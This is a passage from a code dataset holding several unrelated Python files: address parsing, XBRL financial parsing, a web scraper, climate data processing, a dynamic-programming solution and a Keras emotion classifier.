results[0].encode('utf-8')\n return None\n\ndef give_me_suburb(state, postcode):\n a = {\n 'postcode': postcode,\n 'state': state.upper()\n }\n results = tb.find(a)\n results = mongo_to_list(results, 'suburb')\n if len(results) == 1:\n return results[0].encode('utf-8')\n\n return None\n\n\ndef from_postcode(postcode):\n a = {\n 'postcode': postcode\n }\n return tb.find(a)\n\ndef from_suburb(suburb):\n a = {\n 'suburb': suburb.upper()\n }\n return tb.find(a)\n\n@check_mt_word\ndef test_function(addresses, suburb, state, postcode, country, mm_preclean, mm_note, mm_clean_type):\n return addresses, suburb, state, postcode, country, mm_preclean, mm_note, mm_clean_type\n\n\ndef parse_address(text):\n # define number as a set of words\n\n streetnumber = pp.originalTextFor(pp.Word(pp.nums))\n\n # just a basic word of alpha characters, Maple, Main, etc.\n\n\n # types of streets - extend as desired\n street_type = pp.Combine(pp.MatchFirst(map(pp.Keyword, STREET_TYPE.split())) + pp.Optional(\".\").suppress())\n street_name = pp.OneOrMore(~street_type + pp.Combine(pp.Word(pp.alphas) + pp.Optional(\".\")))\n streetAddress = streetnumber+ street_name + street_type\n\n log.info(streetAddress.parseString(text))\n\ndef check_dupes_info(address, suburb):\n s = difflib.SequenceMatcher(None, address.upper(), suburb.upper())\n matching_blocks = s.get_matching_blocks()\n matching_blocks.pop()\n log.info(matching_blocks)\n if len(matching_blocks) == 1:\n i, j, n = matching_blocks[0]\n if (i == 0 and j == 0\n and (n == len(address) or n == len(suburb))):\n return True\n else:\n log.info(address)\n log.info(suburb)\n\ndef check_country_in_ssp(text):\n\n _country = None\n found = False\n _new_country = ''\n _new_text = ''\n\n for country_code, country_name in countriesset:\n\n if not country_name:\n continue\n log.info(country_name)\n _country = acronym(country_name)\n for t, start, end in _country.scanString(text):\n _new_text = text[:start] + text[end:]\n found = True\n break\n if found:\n _new_country = country_name\n break\n\n return _new_country, _new_text\n\n\ndef check_ssp_within_address(text):\n #123 Sample Street Wyndham Vale\n _addresses, _ssp = check_street_in_text(text.upper())\n # how to check ssp\n _suburb, _state, _postcode = split_suburb_state_postcode(_ssp)\n\n\n\n\nif __name__ == '__main__':\n #log.info(split_suburb_state_postcode(\"North Motton, Ulverstone TAS 7315\"))\n #log.info(check_pobox_in_text('PO BOX 350 CP Ballarat'))\n # addresses = [' ']\n # suburb = 'Lower Mt Walker'\n # state = ''\n # postcode = ''\n # country = ''\n # mm_preclean = ''\n # mm_note = ''\n # mm_clean_type = ''\n # log.info(rename_split_suburb(\"Cape Clear C/- Post Office\".upper()))\n #log.info(split_suburb_state_postcode(\"Cape Clear C/- Post Office\".upper()))\n #log.info(give_me_suburbs('\"OBRIEN '))\n # m_lookup.parse(inStr=['TN1','THN', 'PCD'],\n # outStr=['TN1', 'THN', 'THT', 'LOC', 'PCD'],\n # address='1|SHAWS|7277')\n # log.info(m_lookup.result)\n #loc_result = m_lookup.getMeThis('LOC')[1]\n #check_country_in_ssp(\"HILLSBOROUGH, AUCKLAND NZ\")\n\n #s1 = 'BALLARAT'\n\n #s2 = 'BALLARAT, MELBOURNE'\n #log.info(fuzz.ratio(s2, s1))\n #log.info(fuzz.token_set_ratio(s1, s2))\n\n #log.info(loc_result)\n #s = difflib.SequenceMatcher(None, s2.upper(), s1.upper())\n #matching_blocks = s.get_matching_blocks().pop()\n #matching_blocks.pop()\n #log.info(matching_blocks.pop())\n #parse_address(\"11 MCCLEVERTY'S COURT\".upper())\n #log.info(STREET_TYPE.split())\n #log.info(nsew_suburb(\"MOOROOPNA\"))\n #log.info(nsew_suburb(\"NORTH kippa ring\"))\n #log.info(nsew_suburb(\"WEST FOOTSCRAY\"))\n #log.info(give_me_state('WEST FOOTSCRAY', {\"$regex\": '301'}))\n log.info(split_suburb_state_postcode(\"EAST VICTORIA PARK 6101\"))\n #log.info(check_street_in_text('59 MANOR LAKES BVD'))","sub_path":"cleaning/helper.py","file_name":"helper.py","file_ext":"py","file_size_in_byte":19901,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"291620819","text":"from xml.etree.ElementTree import XMLPullParser\nimport xml.etree.ElementTree as ET\n\nXBRLI_KEY = 'xbrli'\nJPPFS_KEY = 'jppfs_cor'\n\ndef parse(xbrl_file_name):\n with open(xbrl_file_name, encoding='utf8') as file:\n parser = XMLPullParser(('end', 'start-ns'))\n line = file.readline()\n\n xbrli_ns_tag_set = False\n context_tag = ''\n instant_tag = ''\n\n jppfs_ns_tag_set = False\n net_sales_tag = '' #売上\n operating_income_tag = '' #営業利益\n ordinary_income_tag = '' #経常利益\n profit_loss_tag = '' #当期純利益\n profit_loss_old_tag = '' #当期純利益(旧バージョン)netincome\n\n while line != '':\n parser.feed(line)\n for event in parser.read_events():\n event_type = event[0]\n if event_type == 'start-ns':\n # 名前空間URI取得\n ns_key = event[1][0]\n ns_uri = event[1][1]\n if ns_key == XBRLI_KEY:\n context_tag = '{%s}context' % (ns_uri,)\n instant_tag = '{%s}instant' % (ns_uri,)\n xbrli_ns_tag_set = True\n\n elif ns_key == JPPFS_KEY:\n net_sales_tag = '{%s}NetSales' % (ns_uri,)\n operating_income_tag = '{%s}OperatingIncome' % (ns_uri,)\n ordinary_income_tag = '{%s}OrdinaryIncome' % (ns_uri,)\n profit_loss_tag = '{%s}ProfitLoss' % (ns_uri,)\n profit_loss_old_tag = '{%s}NetIncome' % (ns_uri,)\n jppfs_ns_tag_set = True\n\n elif event_type == 'end' and xbrli_ns_tag_set and jppfs_ns_tag_set:\n element = event[1]\n\n tag = element.tag\n text = element.text\n decimal = element.get('decimals', '')\n context_ref = element.get('contextRef', '')\n\n if context_ref == 'CurrentYearInstant':\n pass\n elif context_ref == 'CurrentYearDuration':\n if tag == net_sales_tag:\n print('売上: %s, decimal: %s' % (text, decimal))\n elif tag == operating_income_tag:\n print('営業利益: %s, decimal: %s' % (text, decimal))\n elif tag == ordinary_income_tag:\n print('経常利益: %s, decimal: %s' % (text, decimal))\n elif tag == profit_loss_tag:\n print('当期純利益: %s, decimal: %s' % (text, decimal))\n elif tag == profit_loss_old_tag:\n print('当期純利益: %s, decimal: %s' % (text, decimal))\n \n line = file.readline()\n\ndef parse2(xbrl_file_name):\n element_tree = ET.parse(xbrl_file_name)\n root = element_tree.getroot()\n for e in root.findall('{http://disclosure.edinet-fsa.go.jp/taxonomy/jppfs/2018-02-28/jppfs_cor}NetSales'):\n print(e.tag)\n \n for e in root.findall('{http://disclosure.edinet-fsa.go.jp/taxonomy/jppfs/2018-02-28/jppfs_cor}TotalChangesOfItemsDuringThePeriod'):\n print(e)\n \n for e in root.findall('{http://disclosure.edinet-fsa.go.jp/taxonomy/jppfs/2018-02-28/jppfs_cor}NetAssets'):\n print(e)\n\n\nif __name__ == '__main__':\n parse('sample_xbrl\\PublicDoc\\jpcrp030000-asr-001_E05033-000_2018-12-31_01_2019-03-27.xbrl')","sub_path":"edinet/xbrl_instance_parser.py","file_name":"xbrl_instance_parser.py","file_ext":"py","file_size_in_byte":3593,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"126598457","text":"\"\"\"\n\n\"\"\"\n\nfrom word_sequece import WordSequence\nfrom dataset1 import get_dataloader\nimport pickle\nfrom tqdm import tqdm\n\nif __name__ == '__main__':\n ws = WordSequence()\n dl_train = get_dataloader(True)\n dl_test = get_dataloader(False)\n for reviews, label in tqdm(dl_train, total=len(dl_train)):\n for sentence in reviews:\n ws.fit(sentence)\n for reviews, label in tqdm(dl_test, total=len(dl_test)):\n for sentence in reviews:\n ws.fit(sentence)\n ws.build_vocab()\n print(len(ws)) # 42676\n\n pickle.dump(ws, open(\"./models/ws.pkl\", \"wb\"))\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":593,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"459981657","text":"import math\n\ndef klauber(x):\n return x*x-x+41\n\ndef isPrime(x):\n for i in range(2,1+int(math.sqrt(x))):\n if x%i == 0:\n return False\n return True\n\ndef klauberNotPrime(r):\n result = []\n for i in range(1,r):\n if not isPrime(klauber(i)):\n result.append(i)\n return result\n\nclass Quadratic:\n def __init__(self, square,linear,constant):\n self.square = square\n self.linear = linear\n self.constant = constant\n \n def __call__(self, x):\n return self.square*x*x + self.linear*x + self.constant\n\n def __repr__(self):\n return \"Quadratic(%d,%d,%d)\" % (self.square,self.linear,self.constant)\n \n# Find best ploynomial which matches all terms in array\n\ndef bestPoly(array, cRange, lRange=None, sRange=None):\n if lRange is None: lRange = cRange\n if sRange is None: sRange = lRange\n bestScore = -1\n bestQuadratic = None\n for s in sRange:\n for l in lRange:\n if s==0 and l==0:\n continue\n for c in cRange:\n q = Quadratic(s,l,c)\n score = testPoly(q, array)\n if score>bestScore:\n bestScore = score\n bestQuadratic = q\n print(\"best Score %d for %s\" % (bestScore, bestQuadratic))\n return bestQuadratic\n\ndef testPoly(q,array):\n maxArray = array[-1]\n score = 0\n for x in range(1,len(array)):\n value = q(x)\n if value>maxArray:\n break\n elif value in array:\n score += 1\n else:\n return -1\n return score\n\ndef bestPolySet(array,cRange,lRange,sRange):\n polySet = []\n while len(array)>0:\n q = bestPoly(array, cRange, lRange, sRange)\n polySet.append(q)\n for x in range(1,len(array)):\n v = q(x)\n if v in array:\n array.remove(v)\n print(\"New Array length %d\" % len(array))\n return polySet\n\n","sub_path":"MSPN2.py","file_name":"MSPN2.py","file_ext":"py","file_size_in_byte":1961,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"544024308","text":"#coding:utf8\nfrom bs4 import BeautifulSoup\nimport re\nfrom urllib.parse import urlparse\n\nclass HtmlParser(object):\n\n def _get_new_urls(self, page_url, soup):\n new_urls = set()\n\n links = soup.find_all('a', href=re.compile(r'\\d+.html'))\n for link in links:\n new_url = link['href']\n new_full_url = 'http://www.kan7zw.com/72/72857/'+new_url\n print(new_full_url)\n new_urls.add(new_full_url)\n\n\n return new_urls\n\n def _get_new_data(self, page_url, soup):\n res_data = {}\n #url\n res_data['url'] = page_url\n\n title_node = soup.find('div', class_='bookname').find('h1')\n res_data['title'] = title_node.get_text()\n\n summary_node = soup.find('div', id='content')\n print(summary_node)\n res_data['summary'] = summary_node.get_text()\n\n print(res_data['title'], '==========', res_data['summary'])\n return res_data\n\n\n\n\n def parse(self, page_url, html_cont):\n if page_url is None or html_cont is None:\n return\n\n soup = BeautifulSoup(html_cont, 'html.parser', from_encoding='gbk')\n new_urls = self._get_new_urls(page_url, soup)\n new_data = self._get_new_data(page_url, soup)\n return new_urls, new_data\n\n\n","sub_path":"baike_spider/html_parser.py","file_name":"html_parser.py","file_ext":"py","file_size_in_byte":1280,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"390233259","text":"from numpy import *\n\nny = 96\nnx = 144\n\nmapdir = \"/media/disk2/out/CMIP5/day/NorESM1-M/scales/r1i1p1/his.m.fut.m/map\"\n#********************\n# input names\n#--------------------\ndp_full_name = mapdir + \"/epl.dP.full.day_NorESM1-M_r1i1p1_099.00.bn\"\ndp_lcl_name = mapdir + \"/epl.dP.humid.day_NorESM1-M_r1i1p1_099.00.bn\"\n#********************\n# output names\n#--------------------\ndp_lcl_full_name = mapdir + \"/epl.dP.lcl_full.day_NorESM1-M_r1i1p1_099.00.bn\"\n\n#********************\n# read\n#--------------------\na2dp_full = fromfile(dp_full_name, float32).reshape(ny, nx)\na2dp_lcl = fromfile(dp_lcl_name, float32).reshape(ny, nx)\n#********************\n# mask\n#--------------------\na2dp_full = ma.masked_invalid(a2dp_full)\na2dp_lcl = ma.masked_invalid(a2dp_lcl)\n#--------------------\na2dp_lcl_full = a2dp_lcl / abs(a2dp_full)\n\na2dp_lcl_full = a2dp_lcl_full.filled(NaN)\n#--------------------\na2dp_lcl_full.tofile(dp_lcl_full_name)\n","sub_path":"cmip5/div.dP.lcl.by.dP.full.py","file_name":"div.dP.lcl.by.dP.full.py","file_ext":"py","file_size_in_byte":967,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"500162184","text":"# O(M * N) run-time. O(N) space-complexity.\nclass Solution:\n def uniquePathsWithObstacles(self, obstacleGrid):\n \"\"\"\n :type obstacleGrid: List[List[int]]\n :rtype: int\n \"\"\"\n if not obstacleGrid or len(obstacleGrid) == 0 or obstacleGrid[0][0] == 1:\n return 0\n m, n = len(obstacleGrid), len(obstacleGrid[0])\n prev_row, cur_row = None, [0] * n\n cur_row[0] = 1\n for i in range(m): \n for j in range(n):\n if obstacleGrid[i][j] == 0:\n if prev_row:\n cur_row[j] += prev_row[j]\n if j > 0:\n cur_row[j] += cur_row[j-1]\n prev_row = cur_row\n cur_row = [0] * n\n return prev_row[-1]\n","sub_path":"Dynamic_programming/63_Unique_path_II.py","file_name":"63_Unique_path_II.py","file_ext":"py","file_size_in_byte":782,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"442659402","text":"#Please use python 3.5 or above\nimport numpy as np\nfrom keras.preprocessing.text import Tokenizer\nfrom keras.preprocessing.sequence import pad_sequences\nfrom keras.utils import to_categorical\nfrom keras.models import Sequential\nfrom keras.layers import Dense, Reshape, Flatten, RepeatVector, Embedding, LSTM, Concatenate, merge, Dropout, CuDNNLSTM, \\\n Convolution1D, MaxPooling1D, Activation, GRU, GlobalMaxPooling1D, GlobalAveragePooling1D, Conv1D, Bidirectional, \\\n Conv2D, MaxPooling2D, MaxPool2D\nfrom keras.layers import Input, concatenate\nfrom keras.models import Model\nfrom keras import optimizers\nfrom keras.models import load_model\nfrom nltk.tokenize import TweetTokenizer\nimport json, argparse, os\nimport re\nimport io\nimport sys\nimport fasttext\nimport emoji\nimport keras\nfrom emoji import UNICODE_EMOJI\n# from keras_self_attention import SeqSelfAttention\nimport string\n# from nltk.corpus import stopwords\n# import regex\n\n# Path to training and testing data file. This data can be downloaded from a link, details of which will be provided.\ntrainDataPath = \"\"\ntestDataPath = \"\"\n# Output file that will be generated. This file can be directly submitted.\nsolutionPath = \"\"\n# Path to directory where GloVe file is saved.\ngloveDir = \"\"\nemojiDir = \"\"\n\nNUM_FOLDS = None # Value of K in K-fold Cross Validation\nNUM_CLASSES = None # Number of classes - Happy, Sad, Angry, Others\nMAX_NB_WORDS = None # To set the upper limit on the number of tokens extracted using keras.preprocessing.text.Tokenizer \nMAX_SEQUENCE_LENGTH = None # All sentences having lesser number of words than this will be padded\nEMBEDDING_DIM = None # The dimension of the word embeddings\nBATCH_SIZE = None # The batch size to be chosen for training the model.\nLSTM_DIM = None # The dimension of the representations learnt by the LSTM model\nDROPOUT = None # Fraction of the units to drop for the linear transformation of the inputs. Ref - https://keras.io/layers/recurrent/\nNUM_EPOCHS = None # Number of epochs to train a model for\n\n\nlabel2emotion = {0:\"others\", 1:\"happy\", 2: \"sad\", 3:\"angry\"}\nemotion2label = {\"others\":0, \"happy\":1, \"sad\":2, \"angry\":3}\nemoji2emoticons = {'😑': ':|', '😖': ':(', '😯': ':o', '😝': ':p', '😐': ':|',\n '😈': ':)', '🙁': ':(', '😎': ':)', '😞': ':(', '♥️': '<3', '💕': 'love',\n '😀': ':d', '😢': \":(\", '👍': 'ok', '😇': ':)', '😜': ':p',\n '💙': 'love', '☹️': ':(', '😘': ':)', '🤔': 'hmm', '😲': ':o',\n '🙂': ':)', '\\U0001f923': ':d', '😂': ':d', '👿': ':(', '😛': ':p',\n '😉': ';)', '🤓': '8-)'}\n\ndef preprocessData(dataFilePath, mode):\n \"\"\"Load data from a file, process and return indices, conversations and labels in separate lists\n Input:\n dataFilePath : Path to train/test file to be processed\n mode : \"train\" mode returns labels. \"test\" mode doesn't return labels.\n Output:\n indices : Unique conversation ID list\n conversations : List of 3 turn conversations, processed and each turn separated by the tag\n labels : [Only available in \"train\" mode] List of labels\n \"\"\"\n indices = []\n conversations = []\n labels = []\n n = 0\n with io.open(dataFilePath, encoding=\"utf8\") as finput:\n finput.readline()\n\n for line in finput:\n # Convert multiple instances of . ? ! , to single instance\n # okay...sure -> okay . sure\n # okay???sure -> okay ? sure\n # Add whitespace around such punctuation\n # okay!sure -> okay ! sure\n # line.lower()\n allchars = [str for str in line]\n emoji_list = [c for c in allchars if c in emoji.UNICODE_EMOJI]\n # clean_text = ' '.join([str for str in line.split() if not any(i in str for i in emoji_list)])\n repeatedChars = ['.', '?', '!', ',']\n repeatedChars = repeatedChars + emoji_list\n for c in repeatedChars:\n lineSplit = line.split(c)\n while True:\n try:\n lineSplit.remove('')\n except:\n break\n cSpace = ' ' + c + ' ' \n line = cSpace.join(lineSplit)\n \n line = line.strip().split('\\t')\n if mode == \"train\":\n # Train data contains id, 3 turns and label\n label = emotion2label[line[4]]\n labels.append(label)\n \n conv = ' '.join(line[1:4])\n \n # Remove any duplicate spaces\n duplicateSpacePattern = re.compile(r'\\ +')\n conv = re.sub(duplicateSpacePattern, ' ', conv)\n \n indices.append(int(line[0]))\n conversations.append(conv.lower())\n \n if mode == \"train\":\n return indices, conversations, labels\n else:\n return indices, conversations\n\ndef preprocessDataV(dataFilePath, mode, preprocess=False):\n \"\"\"Load data from a file, process and return indices, conversations and labels in separate lists\n Input:\n dataFilePath : Path to train/test file to be processed\n mode : \"train\" mode returns labels. \"test\" mode doesn't return labels.\n Output:\n indices : Unique conversation ID list\n conversations : List of 3 turn conversations, processed and each turn separated by the tag\n labels : [Only available in \"train\" mode] List of labels\n \"\"\"\n indices = []\n conversations = []\n labels = []\n with io.open(dataFilePath, encoding=\"utf8\") as finput:\n finput.readline()\n for line in finput:\n # Convert multiple instances of . ? ! , to single instance\n # okay...sure -> okay . sure\n # okay???sure -> okay ? sure\n # Add whitespace around such punctuation\n # okay!sure -> okay ! sure\n repeatedChars = ['.', '?', '!', ',']\n for c in repeatedChars:\n lineSplit = line.split(c)\n while True:\n try:\n lineSplit.remove('')\n except:\n break\n cSpace = ' ' + c + ' '\n line = cSpace.join(lineSplit)\n\n line = line.strip().split('\\t')\n if mode == \"train\":\n # Train data contains id, 3 turns and label\n label = emotion2label[line[4]]\n labels.append(label)\n\n conv = ' '.join(line[1:4])\n\n # Remove any duplicate spaces\n duplicateSpacePattern = re.compile(r'\\ +')\n conv = re.sub(duplicateSpacePattern, ' ', conv)\n\n\n if preprocess:\n stray_punct = ['‑', '-', \"^\", \":\",\n \";\", \"#\", \")\", \"(\", \"*\", \"=\", \"\\\\\", \"/\"]\n for punct in stray_punct:\n conv = conv.replace(punct, \"\")\n\n if preprocess:\n processedData = regex.cleanText(conv.lower(), remEmojis=1).lower()\n processedData = processedData.replace(\"'\", \"\")\n # Remove numbers\n processedData = ''.join([i for i in processedData if not i.isdigit()])\n else:\n processedData = conv.lower()\n\n indices.append(int(line[0]))\n conversations.append(processedData)\n\n if mode == \"train\":\n return indices, conversations, labels\n else:\n return indices, conversations\n\n\n\ndef getMetrics(predictions, ground):\n \"\"\"Given predicted labels and the respective ground truth labels, display some metrics\n Input: shape [# of samples, NUM_CLASSES]\n predictions : Model output. Every row has 4 decimal values, with the highest belonging to the predicted class\n ground : Ground truth labels, converted to one-hot encodings. A sample belonging to Happy class will be [0, 1, 0, 0]\n Output:\n accuracy : Average accuracy\n microPrecision : Precision calculated on a micro level. Ref - https://datascience.stackexchange.com/questions/15989/micro-average-vs-macro-average-performance-in-a-multiclass-classification-settin/16001\n microRecall : Recall calculated on a micro level\n microF1 : Harmonic mean of microPrecision and microRecall. Higher value implies better classification \n \"\"\"\n # [0.1, 0.3 , 0.2, 0.1] -> [0, 1, 0, 0]\n discretePredictions = to_categorical(predictions.argmax(axis=1))\n \n truePositives = np.sum(discretePredictions*ground, axis=0)\n falsePositives = np.sum(np.clip(discretePredictions - ground, 0, 1), axis=0)\n falseNegatives = np.sum(np.clip(ground-discretePredictions, 0, 1), axis=0)\n \n print(\"True Positives per class : \", truePositives)\n print(\"False Positives per class : \", falsePositives)\n print(\"False Negatives per class : \", falseNegatives)\n \n # ------------- Macro level calculation ---------------\n macroPrecision = 0\n macroRecall = 0\n # We ignore the \"Others\" class during the calculation of Precision, Recall and F1\n for c in range(1, NUM_CLASSES):\n precision = truePositives[c] / (truePositives[c] + falsePositives[c])\n macroPrecision += precision\n recall = truePositives[c] / (truePositives[c] + falseNegatives[c])\n macroRecall += recall\n f1 = ( 2 * recall * precision ) / (precision + recall) if (precision+recall) > 0 else 0\n print(\"Class %s : Precision : %.3f, Recall : %.3f, F1 : %.3f\" % (label2emotion[c], precision, recall, f1))\n \n macroPrecision /= 3\n macroRecall /= 3\n macroF1 = (2 * macroRecall * macroPrecision ) / (macroPrecision + macroRecall) if (macroPrecision+macroRecall) > 0 else 0\n print(\"Ignoring the Others class, Macro Precision : %.4f, Macro Recall : %.4f, Macro F1 : %.4f\" % (macroPrecision, macroRecall, macroF1)) \n \n # ------------- Micro level calculation ---------------\n truePositives = truePositives[1:].sum()\n falsePositives = falsePositives[1:].sum()\n falseNegatives = falseNegatives[1:].sum() \n \n print(\"Ignoring the Others class, Micro TP : %d, FP : %d, FN : %d\" % (truePositives, falsePositives, falseNegatives))\n \n microPrecision = truePositives / (truePositives + falsePositives)\n microRecall = truePositives / (truePositives + falseNegatives)\n \n microF1 = ( 2 * microRecall * microPrecision ) / (microPrecision + microRecall) if (microPrecision+microRecall) > 0 else 0\n # -----------------------------------------------------\n \n predictions = predictions.argmax(axis=1)\n ground = ground.argmax(axis=1)\n accuracy = np.mean(predictions==ground)\n \n print(\"Accuracy : %.4f, Micro Precision : %.4f, Micro Recall : %.4f, Micro F1 : %.4f\" % (accuracy, microPrecision, microRecall, microF1))\n return accuracy, microPrecision, microRecall, microF1\n\n\ndef writeNormalisedData(dataFilePath, texts):\n \"\"\"Write normalised data to a file\n Input:\n dataFilePath : Path to original train/test file that has been processed\n texts : List containing the normalised 3 turn conversations, separated by the tag.\n \"\"\"\n normalisedDataFilePath = dataFilePath.replace(\".txt\", \"_normalised.txt\")\n with io.open(normalisedDataFilePath, 'w', encoding='utf8') as fout:\n with io.open(dataFilePath, encoding='utf8') as fin:\n fin.readline()\n for lineNum, line in enumerate(fin):\n line = line.strip().split('\\t')\n normalisedLine = texts[lineNum].strip().split('')\n fout.write(line[0] + '\\t')\n # Write the original turn, followed by the normalised version of the same turn\n fout.write(line[1] + '\\t' + normalisedLine[0] + '\\t')\n fout.write(line[2] + '\\t' + normalisedLine[1] + '\\t')\n fout.write(line[3] + '\\t' + normalisedLine[2] + '\\t')\n try:\n # If label information available (train time)\n fout.write(line[4] + '\\n') \n except:\n # If label information not available (test time)\n fout.write('\\n')\n\ndef cleanWord (word):\n final_list = []\n temp_word = \"\"\n for k in range(len(word)):\n if word[k] in UNICODE_EMOJI:\n # check if word[k] is an emoji\n if (word[k] in emoji2emoticons):\n final_list.append(emoji2emoticons[word[k]])\n else:\n temp_word = temp_word + word[k]\n\n # if len(temp_word) > 0:\n # # \"righttttttt\" -> \"right\"\n # temp_word = re.sub(r'(.)\\1+', r'\\1\\1', temp_word)\n # # correct spelling\n # spell = SpellChecker()\n # temp_word = spell.correction(temp_word)\n # # lemmatize\n # temp_word = WordNetLemmatizer().lemmatize(temp_word)\n # final_list.append(temp_word)\n\n return final_list\n\ndef getEmbeddingMatrix(wordIndex):\n \"\"\"Populate an embedding matrix using a word-index. If the word \"happy\" has an index 19,\n the 19th row in the embedding matrix should contain the embedding vector for the word \"happy\".\n Input:\n wordIndex : A dictionary of (word : index) pairs, extracted using a tokeniser\n Output:\n embeddingMatrix : A matrix where every row has 100 dimensional GloVe embedding\n \"\"\"\n embeddingsIndex = {}\n # Load the embedding vectors from ther GloVe file\n with io.open(os.path.join(gloveDir, 'datastories.twitter.300d.txt'), encoding=\"utf8\") as f:\n for line in f:\n values = line.split()\n word = values[0]\n embeddingVector = np.asarray(values[1:], dtype='float32')\n embeddingsIndex[word] = embeddingVector\n\n print('Found %s word vectors.' % len(embeddingsIndex))\n\n bad_words_glove_1 = set([])\n bad_words_glove_2 = set([])\n counter = 0\n\n # Minimum word index of any word is 1.\n embeddingMatrix = np.zeros((len(wordIndex) + 1, EMBEDDING_DIM))\n for word, i in wordIndex.items():\n embeddingVector = embeddingsIndex.get(word)\n if embeddingVector is not None:\n # words not found in embedding index will be all-zeros.\n embeddingMatrix[i] = embeddingVector\n else:\n bad_words_glove_1.add(word)\n good_from_bad = cleanWord(word)\n # sum all word vectors, obtained after clean_word\n temp_embedding_vector = np.zeros((1, EMBEDDING_DIM))\n for www in good_from_bad:\n eee = embeddingsIndex.get(www)\n if eee is not None:\n temp_embedding_vector = temp_embedding_vector + eee\n if not temp_embedding_vector.all():\n bad_words_glove_2.add(word)\n embeddingMatrix[i] = temp_embedding_vector\n if (counter % 1000 == 0):\n print(counter)\n counter += 1\n\n # print(\"Bad words in GloVe 1 - %d\" % len(bad_words_glove_1))\n # print(\"Bad words in GloVe 2 - %d\" % len(bad_words_glove_2))\n\n return embeddingMatrix\n\ndef getEmbeddingByBin(wordIndex):\n model = fasttext.load_model(\"250D_322M_tweets.bin\")\n embeddingMatrix = np.zeros((len(wordIndex) + 1, EMBEDDING_DIM))\n for word, i in wordIndex.items():\n v = model.get_word_vector(word)\n embeddingMatrix[i] = v\n return embeddingMatrix\n\ndef buildModel(embeddingMatrix):\n \"\"\"Constructs the architecture of the model\n Input:\n embeddingMatrix : The embedding matrix to be loaded in the embedding layer.\n Output:\n model : A basic LSTM model\n \"\"\"\n embeddingLayer = Embedding(embeddingMatrix.shape[0],\n EMBEDDING_DIM,\n weights=[embeddingMatrix],\n input_length=MAX_SEQUENCE_LENGTH,\n trainable=False)\n # embeddingLayerEmoji = Embedding(embeddingMatrixEmoji.shape[0],\n # EMBEDDING_DIM,\n # weights=[embeddingMatrix],\n # input_length=MAX_SEQUENCE_LENGTH,\n # trainable=False)\n #inp = Concatenate(axis=-1)([embeddingLayer,embeddingLayerEmoji])\n model = Sequential()\n # modelEmoji = Sequential()\n model.add(embeddingLayer)\n # modelEmoji.add(embeddingLayerEmoji)\n # modelFinal = Concatenate(axis=-1)([model, modelEmoji])\n #model.add(inp)\n # model.add(LSTM(LSTM_DIM, dropout=DROPOUT,return_sequences=True))\n model.add(LSTM(LSTM_DIM, dropout=DROPOUT))\n model.add(Dense(NUM_CLASSES, activation='sigmoid'))\n \n rmsprop = optimizers.rmsprop(lr=LEARNING_RATE)\n model.compile(loss='categorical_crossentropy',\n optimizer=rmsprop,\n metrics=['acc'])\n return model\n\ndef build3CnnModel(embeddingMatrix):\n \"\"\"Constructs the architecture of the model\n Input:\n embeddingMatrix : The embedding matrix to be loaded in the embedding layer.\n Output:\n model : A basic LSTM model\n \"\"\"\n embeddingLayer = Embedding(embeddingMatrix.shape[0],\n EMBEDDING_DIM,\n weights=[embeddingMatrix],\n input_length=MAX_SEQUENCE_LENGTH,\n trainable=False)\n # model = Sequential()\n # model.add(embeddingLayer)\n # model.add(LSTM(LSTM_DIM, dropout=DROPOUT))\n # model.add(Dense(NUM_CLASSES, activation='sigmoid'))\n #\n # rmsprop = optimizers.rmsprop(lr=LEARNING_RATE)\n # model.compile(loss='categorical_crossentropy',\n # optimizer=rmsprop,\n # metrics=['acc'])\n ########################################################\n\n print('Training model.')\n\n sequence_input = Input(shape=(MAX_SEQUENCE_LENGTH,), dtype='int32')\n embedded_sequences = embeddingLayer(sequence_input)\n\n # add first conv filter\n embedded_sequences = Reshape((MAX_SEQUENCE_LENGTH, EMBEDDING_DIM, 1))(embedded_sequences)\n x = Conv2D(100, (5, EMBEDDING_DIM), activation='relu')(embedded_sequences)\n x = MaxPooling2D((MAX_SEQUENCE_LENGTH - 5 + 1, 1))(x)\n\n # add second conv filter.\n y = Conv2D(100, (4, EMBEDDING_DIM), activation='relu')(embedded_sequences)\n y = MaxPooling2D((MAX_SEQUENCE_LENGTH - 4 + 1, 1))(y)\n\n # add third conv filter.\n z = Conv2D(100, (3, EMBEDDING_DIM), activation='relu')(embedded_sequences)\n z = MaxPooling2D((MAX_SEQUENCE_LENGTH - 3 + 1, 1))(z)\n\n # concate the conv layers\n alpha = concatenate([x, y, z])\n\n # flatted the pooled features.\n alpha = Flatten()(alpha)\n\n # dropout\n alpha = Dropout(0.5)(alpha)\n\n # predictions\n preds = Dense(NUM_CLASSES, activation='softmax')(alpha)\n\n # build model\n model = Model(sequence_input, preds)\n adadelta = optimizers.Adadelta()\n\n model.compile(loss='categorical_crossentropy',\n optimizer=adadelta,\n metrics=['acc'])\n return model\n\ndef build3Cnn_LstmModel(embeddingMatrix):\n \"\"\"Constructs the architecture of the model\n Input:\n embeddingMatrix : The embedding matrix to be loaded in the embedding layer.\n Output:\n model : A basic LSTM model\n \"\"\"\n embeddingLayer = Embedding(embeddingMatrix.shape[0],\n EMBEDDING_DIM,\n weights=[embeddingMatrix],\n input_length=MAX_SEQUENCE_LENGTH,\n trainable=False)\n\n print('Training model.')\n\n sequence_input = Input(shape=(MAX_SEQUENCE_LENGTH,), dtype='int32')\n embedded_sequences = embeddingLayer(sequence_input)\n\n # add first conv filter\n embedded_sequences = Reshape((MAX_SEQUENCE_LENGTH, EMBEDDING_DIM, 1))(embedded_sequences)\n x = Conv2D(100, (5, EMBEDDING_DIM), activation='relu')(embedded_sequences)\n x = MaxPooling2D((MAX_SEQUENCE_LENGTH - 5 + 1, 1))(x)\n x = LSTM(50, dropout=0.2)(x)\n\n # add second conv filter.\n y = Conv2D(100, (4, EMBEDDING_DIM), activation='relu')(embedded_sequences)\n y = MaxPooling2D((MAX_SEQUENCE_LENGTH - 4 + 1, 1))(y)\n y = LSTM(50, 